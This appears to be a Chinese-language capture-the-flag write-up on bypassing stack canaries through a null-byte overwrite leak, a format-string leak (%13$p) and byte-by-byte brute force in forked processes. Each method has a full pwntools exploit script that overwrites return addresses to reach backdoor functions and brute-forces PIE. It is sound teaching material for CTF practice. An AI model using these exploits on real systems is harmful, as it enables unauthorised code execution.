常见的绕过canary的方法
常见的绕过canary的方法
背景知识
在函数开始时就随机产生一个值,将这个值canary放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉canary的值;当程序结束时,程序会检查canary这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击。
绕过方式
1.覆盖00字符
2.格式化字符串泄露
3.爆破canary
DASCTF X CBCTF 2023 canary ( 覆盖00字符 )
思路
这里直接覆盖00字节然后泄露canary
s('a'*0x19)
r(0x18+6)
canary=u64(r(8))-0x61
leak('canary ',canary)
覆盖00,然后泄露出来减去0x61即可
然后后面利用strcpy去溢出覆盖返回地址
backdoor=0x4012BB
ru('you like to leave(MAX 4): ')
sl('2')
sl('a'*(0xa0-0x8)+p64(canary+0xaa)+'a'*8+p64(0x4012c3))
sl('a'*0x78)
这里是利用的strcpy的一个特性
strcpy遇到'\x00'截断,不过会在最后加'\x00'
先填上canary+0xaa,然后直接利用strcpy最后的置0就可以
exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
#p=remote('node4.buuoj.cn',26967)
p=process('./pwn')
elf = ELF('./pwn')
def duan():
gdb.attach(p)
pause()
bss=elf.bss()+0x200
ru('Please input your name: ')
#duan()
#duan()
s('a'*0x19)
r(0x18+6)
canary=u64(r(8))-0x61
leak('canary ',canary)
ret=u64(r(6).ljust(8,'\x00'))#-0xb0
leak('ret ',ret)
backdoor=0x4012BB
ru('you like to leave(MAX 4): ')
sl('2')
sl('a'*(0xa0-0x8)+p64(canary+0xaa)+'a'*8+p64(0x4012c3))
sl('a'*0x78)
itr()
pwn1 ( 格式化字符串泄露 )
思路
gdb找一下偏移
先输入一下
找到偏移了,偏移为13
sl('%13$p')
canary=int(r(18),16)
leak('canary ',canary)
这里格式化字符串接收不需要u64解包
覆盖canary然后再覆盖返回地址就行
exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
#p=remote('node4.buuoj.cn',26967)
p=process('./pwn')
elf = ELF('./pwn')
def duan():
gdb.attach(p)
pause()
sl('%13$p')
canary=int(r(18),16)
leak('canary ',canary)
pl='a'*0x28+p64(canary)+'a'*0x8+p64(0x401245)
sl(pl)
itr()
CISCN 2023 funcanary ( 爆破canary )
原理
每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的
因为fork函数会直接拷贝父进程的内存,所以fork函数创建的子进程中的canary也是相同的。
最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃。
爆破成功则程序进行下面的逻辑。
我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。
思路
这里有fork函数
里面就是个栈溢出
虽然有后们,但是保护全开,所以泄露了canary,还得继续爆破pie
爆破canary脚本
canary = '\x00'
for k in range(7):
for i in range(256):
print("正在爆破Canary的第" + str(k+1) + "位")
print("当前的字符为" + chr(i))
payload=b'a'*0x68 + canary + chr(i)
print("当前的字符为" + payload)
p.send(b'a'*0x68 + canary +chr(i))
data = p.recvuntil("welcome\n")
if 'stack' in data:
continue
else:
print(str(i + 1) + 'place')
canary += p8(i)
print(canary)
break
爆破pie脚本
backdoor = 0x0231
while True:
for i in range(16):
p.send(b'a'*0x68+canary*2+p16(backdoor))
# offset + canary + rbp + pie_backdoor
a = p.recvuntil(b'welcome\n', timeout = 0.5)
# timeout最好还是加上
if b'welcome\n' in a:
backdoor += 0x1000
if b'flag' in a:
# 如果是flag开头就改为flag
print(a)
p.interactive()
然后在本地写一个flag:flag{flag_is_not_here}
这里就是成功把canary爆破出来了
然后爆破pie爆破出了flag
exp
#coding=utf8
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
#p=remote('node4.buuoj.cn',26967)
p=process('./pwn')
elf = ELF('./pwn')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(7):
for i in range(256):
print("正在爆破Canary的第" + str(k+1) + "位")
print("当前的字符为" + chr(i))
payload=b'a'*0x68 + canary + chr(i)
print("当前的字符为" + payload)
p.send(b'a'*0x68 + canary +chr(i))
data = p.recvuntil("welcome\n")
if 'stack' in data:
continue
else:
print(str(i + 1) + 'place')
canary += p8(i)
print(canary)
break
backdoor = 0x0231
while True:
for i in range(16):
p.send(b'a'*0x68+canary*2+p16(backdoor))
# offset + canary + rbp + pie_backdoor
a = p.recvuntil(b'welcome\n', timeout = 0.5)
# timeout最好还是加上
if b'welcome\n' in a:
backdoor += 0x1000
if b'flag' in a:
# 如果是flag开头就改为flag
print(a)
p.interactive()
0 条评论
可输入 255 字